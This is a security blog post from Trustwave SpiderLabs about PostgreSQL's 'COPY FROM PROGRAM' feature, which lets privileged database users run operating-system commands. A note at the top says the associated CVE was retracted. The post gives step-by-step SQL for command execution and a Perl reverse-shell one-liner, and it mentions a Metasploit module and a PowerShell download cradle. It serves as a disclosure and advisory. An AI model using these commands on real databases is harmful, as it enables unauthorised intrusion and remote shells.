Trustwave SpiderLabs Exposes Unique Cybersecurity Threats in the Public Sector. Learn More

Trustwave SpiderLabs Exposes Unique Cybersecurity Threats in the Public Sector. Learn More

Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest

EDIT (9.April.2019): We have applied for a retraction of CVE-2019-9193 previously associated with this post. Upon further review and through discussions with the PostgreSQL community we do not believe this is a vulnerability in the sense that it is a security bug in the software. As such, it does not rise to the level of a CVE. However, we still believe that the "COPY TO/FROM PROGRAM" feature adds risk to many PostgreSQL environments, so we are leaving the rest of this content intact.

The risk is associated with what we consider "context escalation" where a user given superuser access to a PostgreSQL instance has inadvertently been given access to the entire underlying operating system. Account/access control under a piece of software and account/access control under an operating system are entirely separate security controls. System administrators may not be aware of how their systems are being accessed due to how a database administrator has extended access in their software.

MS SQL Server has a well-known history of battling these same concerns with “xp_cmdshell,” and the database security community consensus agrees that enabling “xp_cmdshell” on a SQL Server is a bad idea unless it is with a lot of restrictions. By default “xp_cmdshell” is disabled.

In addition to retracting the CVE, we have also corrected a mistake which stated that users in the ‘pg_read_server_files’ group can run operating system commands. It is actually users in the ‘pg_execute_server_program’ group that are extended that functionality.

We recognize that the PostgreSQL community takes security seriously and appreciate the open dialogue with that community. Our goals are the same, to minimize or eliminate avenues for misuse or abuse.

PostgreSQL, commonly known as Postgres is one of the largest and most popular database systems in the world. It is the primary database of Mac OSX but also has Linux and Windows versions available.

Today I’m going to go over a less well known ‘feature’ which allows certain database users to gain arbitrary code execution in the context of the user running the Postgres instance. This is something which is enabled by default on all versions of PostgreSQL from 9.3 through to the latest of 11.2. This affects all operating systems, Windows, Linux and Mac.

Since version 9.3, new functionality for ‘COPY TO/FROM PROGRAM’ was implemented. This allows the database superuser, and any user in the ‘pg_execute_server_program’ group to run arbitrary operating system commands. This effectively means there is no separation of privilege between a database superuser user and the user running the database on the operating system.

This is a lack of defense in depth which we used to see in Microsoft SQL Server back in the early 2000s when the xp_cmdshell function was enabled by default. This was patched and disabled by default in Microsoft SQL Server 2005, but it is interesting how the same bugs repeat, seemingly in cycles.

As this bug/flaw/functionality/exploit is somewhere between a privilege escalation and an arbitrary code execution, it needs some prior authentication. This is achieved either through access to the database with credentials or via exploiting an SQL injection in an application which has PostgreSQL on the backend. Again, in both of these instances, either the superuser or a user with ‘pg_execute_server_program’ permissions need to be in use.

To perform the attack, you simply follow these steps:

1) [Optional] Drop the table you want to use if it already exists


2) Create the table you want to hold the command output

CREATE TABLE cmd_exec(cmd_output text);

3) Run the system command via the COPY FROM PROGRAM function

COPY cmd_exec FROM PROGRAM ‘id’;

4) [Optional] View the results

SELECT * FROM cmd_exec;

5) [Optional] Clean up after yourself



Note that any single quotes inside your command must be double single quotes to escape them, so for example if you wanted to run:

echo ‘hello’;

You would need to put it inside single quotes, and then replace all single quotes inside with double single quotes:

‘echo ‘’hello’’;’

I have tested this on all major operating systems, and if a reverse shell is triggered you end up with the following privileges:

Linux - postgres (low priv)
Mac - user that installed postgres (usually an admin)

Linux and Mac OSX can usually be exploited with a perl one-liner, with a command such as this:

COPY files FROM PROGRAM ‘perl -MIO -e ‘’$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,”");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’’’;

I have simplified the exploitation processes by releasing a new Metasploit module (which should be merged into the main framework soon), as the old postgres_payload modules only work up to around version 8. postgres_cmd_execution_nine_three.rb performs all of the above automatically, if you provide it with valid database credentials which have the correct permissions. For SQL Injections you will have to take the manual route.


For Windows, however, the NETWORK SERVICE user appears not the have any write privileges, but it was still possible to trigger a reverse shell by using a PowerShell download cradle. This can be provided by settings the COMMAND variable to the PowerShell cradle command, take note to escape single quotes with a backslash \.


I hope you find this new technique useful.

Latest SpiderLabs Blogs

2024 Public Sector Threat Landscape: Trustwave Threat Intelligence Briefing and Mitigation Strategies

Trustwave SpiderLabs’ 2024 Public Sector Threat Landscape: Trustwave Threat Intelligence Briefing and Mitigation Strategies report details the security issues facing public sector security teams as...

Read More

How to Create the Asset Inventory You Probably Don't Have

This is Part 12 in my ongoing project to cover 30 cybersecurity topics in 30 weekly blog posts. The full series can be found here.

Read More

Guardians of the Gateway: Identity and Access Management Best Practices

This is Part 10 in my ongoing project to cover 30 cybersecurity topics in 30 weekly blog posts. The full series can be found here.

Read More